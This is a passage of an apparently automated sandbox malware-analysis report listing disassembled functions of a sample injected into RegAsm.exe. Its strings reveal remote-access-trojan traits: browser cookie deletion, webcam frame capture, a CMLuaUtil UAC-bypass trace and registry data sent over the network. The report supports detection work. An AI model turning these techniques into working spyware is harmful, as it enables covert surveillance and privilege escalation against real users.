                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: __freea$__alloca_probe_16_free
                      • String ID: a/p$am/pm$zD
                      • API String ID: 2936374016-2723203690
                      • Opcode ID: f0859f4b60942e64c2417795a0aa154076776a6c217ac3e68ed0847ac231e996
                      • Instruction ID: 9fbfa546a4d6e8c17a1525f8bb1fcc11d6b56032d3bbc67104e2604220ae0e85
                      • Opcode Fuzzy Hash: f0859f4b60942e64c2417795a0aa154076776a6c217ac3e68ed0847ac231e996
                      • Instruction Fuzzy Hash: 6AD1D1B1918206CAFB249F68C845ABBB7B1FF05310F28415BE545AB351D33D9D43CBA9
                      Function 00413A55 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 179registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                      • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413AEB
                      • RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710), ref: 00413B8B
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Enum$InfoQueryValue
                      • String ID: [regsplt]$xUG$TG
                      • API String ID: 3554306468-1165877943
                      • Opcode ID: b730b8f01de3b61de9bdc309d271c932a797a33a56bfebd36572143352d58066
                      • Instruction ID: b9c9d149d6e4de0395087b00820169330fa190b61d8fc59f93bff107e3475f49
                      • Opcode Fuzzy Hash: b730b8f01de3b61de9bdc309d271c932a797a33a56bfebd36572143352d58066
                      • Instruction Fuzzy Hash: E5511D72900219AADB11EB95DC85EEFB77DAF04305F10007AF505F6191EF786B48CBA9
                      Function 0044B3BC Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetConsoleCP.KERNEL32 ref: 0044B3FE
                      • __fassign.LIBCMT ref: 0044B479
                      • __fassign.LIBCMT ref: 0044B494
                      • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0044B4BA
                      • WriteFile.KERNEL32(?,FF8BC35D,00000000,0044BB31,00000000), ref: 0044B4D9
                      • WriteFile.KERNEL32(?,?,00000001,0044BB31,00000000), ref: 0044B512
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                      • String ID:
                      • API String ID: 1324828854-0
                      • Opcode ID: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                      • Instruction ID: 24f44d390d373c30b0d8a34eda065edd0bccebe0da4884afe324d1cece3cc5ea
                      • Opcode Fuzzy Hash: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                      • Instruction Fuzzy Hash: 0751D270900208AFDB10CFA8D885AEEFBF4EF09305F14856BE955E7292D734D941CBA9
                      Function 00456C1A Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 152COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free
                      • String ID: D[E$D[E
                      • API String ID: 269201875-3695742444
                      • Opcode ID: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
                      • Instruction ID: e1ec1e089ae9cf4c30c2343e7c59e1c9a5dba52e91c7d03f0b1416238821c5a9
                      • Opcode Fuzzy Hash: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
                      • Instruction Fuzzy Hash: 7A415B31A001046BEB216BBA8C4566F3BB4EF41336F96061BFC24D7293DA7C880D566D
                      Function 10009492 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON
                      Download Yara Rule
                      APIs
                      • GetConsoleCP.KERNEL32 ref: 100094D4
                      • __fassign.LIBCMT ref: 1000954F
                      • __fassign.LIBCMT ref: 1000956A
                      • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 10009590
                      • WriteFile.KERNEL32(?,?,00000000,10009C07,00000000), ref: 100095AF
                      • WriteFile.KERNEL32(?,?,00000001,10009C07,00000000), ref: 100095E8
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                      • String ID:
                      • API String ID: 1324828854-0
                      • Opcode ID: c8cde1f94c5a3c187481f919a86e285046f284bf183baf255f965bcae4dd5098
                      • Instruction ID: 7b1e32e7ca62d622bc6abd4954a79b3a1191cf35157f5551c2bc05612337e78d
                      • Opcode Fuzzy Hash: c8cde1f94c5a3c187481f919a86e285046f284bf183baf255f965bcae4dd5098
                      • Instruction Fuzzy Hash: D7519271D00249AFEB10CFA4CC95BDEBBF8EF09350F15811AE955E7295D731AA41CB60
                      Function 00413D0D Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegOpenKeyExW.ADVAPI32 ref: 00413D46
                        • Part of subcall function 00413A55: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                        • Part of subcall function 00413A55: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413AEB
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      • RegCloseKey.ADVAPI32(00000000), ref: 00413EB4
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseEnumInfoOpenQuerysend
                      • String ID: xUG$NG$NG$TG
                      • API String ID: 3114080316-2811732169
                      • Opcode ID: 8cc426b5a18ff941664b475a4e5743ade2d40f1813d98070b9e600a2b8e76d58
                      • Instruction ID: 865164b8d80166fcad8b4517e5ed4c9fbafb7c73de3830c3e78154838722fbed
                      • Opcode Fuzzy Hash: 8cc426b5a18ff941664b475a4e5743ade2d40f1813d98070b9e600a2b8e76d58
                      • Instruction Fuzzy Hash: 0B419E316082405BC324F726DC56AEF72959FD1348F40883FF54A671D2EF7C5949866E
                      Function 10003370 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                      Download Yara Rule
                      APIs
                      • _ValidateLocalCookies.LIBCMT ref: 1000339B
                      • ___except_validate_context_record.LIBVCRUNTIME ref: 100033A3
                      • _ValidateLocalCookies.LIBCMT ref: 10003431
                      • __IsNonwritableInCurrentImage.LIBCMT ref: 1000345C
                      • _ValidateLocalCookies.LIBCMT ref: 100034B1
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                      • String ID: csm
                      • API String ID: 1170836740-1018135373
                      • Opcode ID: 314e045d64bd9dff90e147ebc0021a06731dbc25050b3dab86f6a1545ce1a07e
                      • Instruction ID: 0a936c430148d26a69835db3fa9f683d01d5328c1142e13f0191aacd949c771e
                      • Opcode Fuzzy Hash: 314e045d64bd9dff90e147ebc0021a06731dbc25050b3dab86f6a1545ce1a07e
                      • Instruction Fuzzy Hash: D141D678E042189BEB12CF68C880A9FBBF9EF453A4F10C155E9159F25AD731FA01CB91
                      Function 0041B68A Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041361B: RegOpenKeyExW.ADVAPI32 ref: 0041363D
                        • Part of subcall function 0041361B: RegQueryValueExW.ADVAPI32(?,0040F313,00000000,00000000,?,00000400), ref: 0041365C
                        • Part of subcall function 0041361B: RegCloseKey.ADVAPI32(?), ref: 00413665
                        • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                        • Part of subcall function 0041BFB7: IsWow64Process.KERNEL32(00000000,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFCF
                      • _wcslen.LIBCMT ref: 0041B763
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CloseCurrentOpenQueryValueWow64_wcslen
                      • String ID: .exe$8SG$http\shell\open\command$program files (x86)\$program files\
                      • API String ID: 3286818993-122982132
                      • Opcode ID: 72adfb785b3f574a19d60f3d41fc94025ad2806abf0e3203f42f61a897081afc
                      • Instruction ID: 0af867b59be632d30c611c6dccf556baefac66a2e67262e696d3f692bc65d575
                      • Opcode Fuzzy Hash: 72adfb785b3f574a19d60f3d41fc94025ad2806abf0e3203f42f61a897081afc
                      • Instruction Fuzzy Hash: 6721A472A002086BDB14BAB58CD6AFE766D9B85328F14043FF405B72C2EE7C9D494269
                      Function 0040BEE9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004135A6: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                        • Part of subcall function 004135A6: RegQueryValueExA.KERNEL32 ref: 004135E7
                        • Part of subcall function 004135A6: RegCloseKey.KERNEL32(?), ref: 004135F2
                      • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040BF6B
                      • PathFileExistsA.SHLWAPI(?), ref: 0040BF78
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                      • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
                      • API String ID: 1133728706-4073444585
                      • Opcode ID: 64fa2848a199bd2a40e0896628174b15822387fc8284c7b97a1890df31b02a60
                      • Instruction ID: 11f9a5ab4d81baf10890d677fe2d2a0774849eb970c5828eb217b404dd8a17fe
                      • Opcode Fuzzy Hash: 64fa2848a199bd2a40e0896628174b15822387fc8284c7b97a1890df31b02a60
                      • Instruction Fuzzy Hash: 38215271A4021AA6CB04F7B2CC569EE77699F10704F40017FE506B71D2EF7899498ADE
                      Function 00456B53 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 0d17155dc6db7c30058fdf5bf10590413c3ccf5281d5a9a865ac9745ee25c2fc
                      • Instruction ID: 6cb1fb7365923ae9cd4386fa22a0d7cc2d4bdc50975796c61f51bb0de8f74700
                      • Opcode Fuzzy Hash: 0d17155dc6db7c30058fdf5bf10590413c3ccf5281d5a9a865ac9745ee25c2fc
                      • Instruction Fuzzy Hash: B9110272504214BAEB216F728C0496F3AACEF85326B52422BFD11C7252DE38CC41CAA8
                      Function 00450EFA Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00450C41: _free.LIBCMT ref: 00450C6A
                      • _free.LIBCMT ref: 00450F48
                        • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                        • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                      • _free.LIBCMT ref: 00450F53
                      • _free.LIBCMT ref: 00450F5E
                      • _free.LIBCMT ref: 00450FB2
                      • _free.LIBCMT ref: 00450FBD
                      • _free.LIBCMT ref: 00450FC8
                      • _free.LIBCMT ref: 00450FD3
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                      • Instruction ID: d9348172fd0740f80504453a64c2ebf0df3e8af845a5f6206b1ac0666941ab15
                      • Opcode Fuzzy Hash: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                      • Instruction Fuzzy Hash: B411A231540B04AAD625BB72CC47FCB779CAF0230BF44491EBEED66053D6ACB9085745
                      Function 1000925D Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 10009221: _free.LIBCMT ref: 1000924A
                      • _free.LIBCMT ref: 100092AB
                        • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000), ref: 10005734
                        • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                      • _free.LIBCMT ref: 100092B6
                      • _free.LIBCMT ref: 100092C1
                      • _free.LIBCMT ref: 10009315
                      • _free.LIBCMT ref: 10009320
                      • _free.LIBCMT ref: 1000932B
                      • _free.LIBCMT ref: 10009336
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: 1a15e4038a9c55df62fbd1c49a93c652c8e4a7ee207dd1f8de08331087c78b01
                      • Instruction ID: 62dea9ede071ec04ae7e8d39c2d2a9b8d59ba4565e42afa4a1a73bd13a3591d1
                      • Opcode Fuzzy Hash: 1a15e4038a9c55df62fbd1c49a93c652c8e4a7ee207dd1f8de08331087c78b01
                      • Instruction Fuzzy Hash: 3E118E35548B08FAFA20EBB0EC47FCB7B9DEF04780F400824BA9DB6097DA25B5249751
                      Function 00411163 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                      Download Yara Rule
                      APIs
                      • std::_Lockit::_Lockit.LIBCPMT ref: 00411170
                      • int.LIBCPMT ref: 00411183
                        • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                        • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                      • std::_Facet_Register.LIBCPMT ref: 004111C3
                      • std::_Lockit::~_Lockit.LIBCPMT ref: 004111CC
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 004111EA
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                      • String ID: (mG
                      • API String ID: 2536120697-4059303827
                      • Opcode ID: 4358ddd6f05c9e1b133220cf21f5160a6bdd3ecf1c15f3e73f45c2fde7630a6a
                      • Instruction ID: 9d9da6683174d9a5c92fa95d325e3547e0845688fcbb555b93a4fb26f280994d
                      • Opcode Fuzzy Hash: 4358ddd6f05c9e1b133220cf21f5160a6bdd3ecf1c15f3e73f45c2fde7630a6a
                      • Instruction Fuzzy Hash: 1411EB32900518A7CB14BB9AD8058DEBB79DF44354F10456FBE04A72D1DB789D40C7D9
                      Function 0043A35A Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetLastError.KERNEL32(?,?,0043A351,004392BE), ref: 0043A368
                      • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043A376
                      • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A38F
                      • SetLastError.KERNEL32(00000000,?,0043A351,004392BE), ref: 0043A3E1
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLastValue___vcrt_
                      • String ID:
                      • API String ID: 3852720340-0
                      • Opcode ID: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                      • Instruction ID: 5d53a0da36a7034647469206452edf011e0dcb0cee8899775f26e7a14c982385
                      • Opcode Fuzzy Hash: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                      • Instruction Fuzzy Hash: 7F01283214C3519EA61526796C86A6B2648EB0A7B9F30133FF918815F1EF594C90514D
                      Function 004075B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                      Download Yara Rule
                      APIs
                      • CoInitializeEx.OLE32(00000000,00000002), ref: 004075D0
                        • Part of subcall function 004074FD: _wcslen.LIBCMT ref: 00407521
                        • Part of subcall function 004074FD: CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                      • CoUninitialize.OLE32 ref: 00407629
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: InitializeObjectUninitialize_wcslen
                      • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                      • API String ID: 3851391207-1839356972
                      • Opcode ID: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                      • Instruction ID: 681a2da4e9d4b9e6b45db6330fec0c9e961fb52a18ca78f8243115a9baea1a6b
                      • Opcode Fuzzy Hash: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                      • Instruction Fuzzy Hash: B201D272B087016BE2245B25DC0EF6B7758DB81729F11083FF902A61C2EBA9BC0145AB
                      Function 0040BAA1 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                      Download Yara Rule
                      APIs
                      • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040BADD
                      • GetLastError.KERNEL32 ref: 0040BAE7
                      Strings
                      • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040BAA8
                      • [Chrome Cookies found, cleared!], xrefs: 0040BB0D
                      • [Chrome Cookies not found], xrefs: 0040BB01
                      • UserProfile, xrefs: 0040BAAD
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DeleteErrorFileLast
                      • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                      • API String ID: 2018770650-304995407
                      • Opcode ID: ad6ae7ff657ff4a30210cd1c10e5c69c8194eac217f6538686f2b1907c56e876
                      • Instruction ID: 6bc0ec4de36c0471385c24d45a27137009bd471b3f80e31671ebbef4da92dce6
                      • Opcode Fuzzy Hash: ad6ae7ff657ff4a30210cd1c10e5c69c8194eac217f6538686f2b1907c56e876
                      • Instruction Fuzzy Hash: 08018F31A402095ACA04BBBACD5B8BE7724E912714F50017BF802726E6FE7D5A059ADE
                      Function 0043AADC Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                      Download Yara Rule
                      APIs
                      • __allrem.LIBCMT ref: 0043AC69
                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AC85
                      • __allrem.LIBCMT ref: 0043AC9C
                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACBA
                      • __allrem.LIBCMT ref: 0043ACD1
                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACEF
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                      • String ID:
                      • API String ID: 1992179935-0
                      • Opcode ID: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                      • Instruction ID: 0cac597ccac2158415e78c81c2c349525783c2449c9f0a8280db41f57d0428da
                      • Opcode Fuzzy Hash: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                      • Instruction Fuzzy Hash: CC812B72640706ABE7209F29CC41B5BB3A9EF48324F24552FF590D7781EB7CE9108B5A
                      Function 00404371 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 206sleepCOMMON
                      Download Yara Rule
                      APIs
                      • Sleep.KERNEL32(00000000,0040D262), ref: 004044C4
                        • Part of subcall function 00404607: __EH_prolog.LIBCMT ref: 0040460C
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: H_prologSleep
                      • String ID: CloseCamera$FreeFrame$GetFrame$HNG$OpenCamera
                      • API String ID: 3469354165-3054508432
                      • Opcode ID: 2fdfd63980a66dc9589990656a3d546e0077080f775d45fe236281622e2144b7
                      • Instruction ID: 62663cdee79800d8a54f028f5a980ee1c6790ad11611a7059aef087dab150aaf
                      • Opcode Fuzzy Hash: 2fdfd63980a66dc9589990656a3d546e0077080f775d45fe236281622e2144b7
                      • Instruction Fuzzy Hash: 5C51E1B1A042116BCA14FB369D0A66E3755ABC5748F00053FFA06677E2EF7C8A45839E
                      Function 004458F9 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: __cftoe
                      • String ID:
                      • API String ID: 4189289331-0
                      • Opcode ID: eef5811f0b3e11eaf1bdde4175ac7a9ebfa2f3cd5d18ba66a6432d1456243127
                      • Instruction ID: 6c78d09a6f5169ef6f707262af513c71f712f2c279f5202ad8aecd4a6012115a
                      • Opcode Fuzzy Hash: eef5811f0b3e11eaf1bdde4175ac7a9ebfa2f3cd5d18ba66a6432d1456243127
                      • Instruction Fuzzy Hash: D951EA72900A05ABFF209B59CC81FAF77A9EF49334F14421FF515A6293DB39D900866C
                      Function 100015DA Relevance: 9.1, APIs: 6, Instructions: 84stringCOMMON
                      Download Yara Rule
                      APIs
                      • _strlen.LIBCMT ref: 10001607
                      • _strcat.LIBCMT ref: 1000161D
                      • lstrlenW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,1000190E,?,?,00000000,?,00000000), ref: 10001643
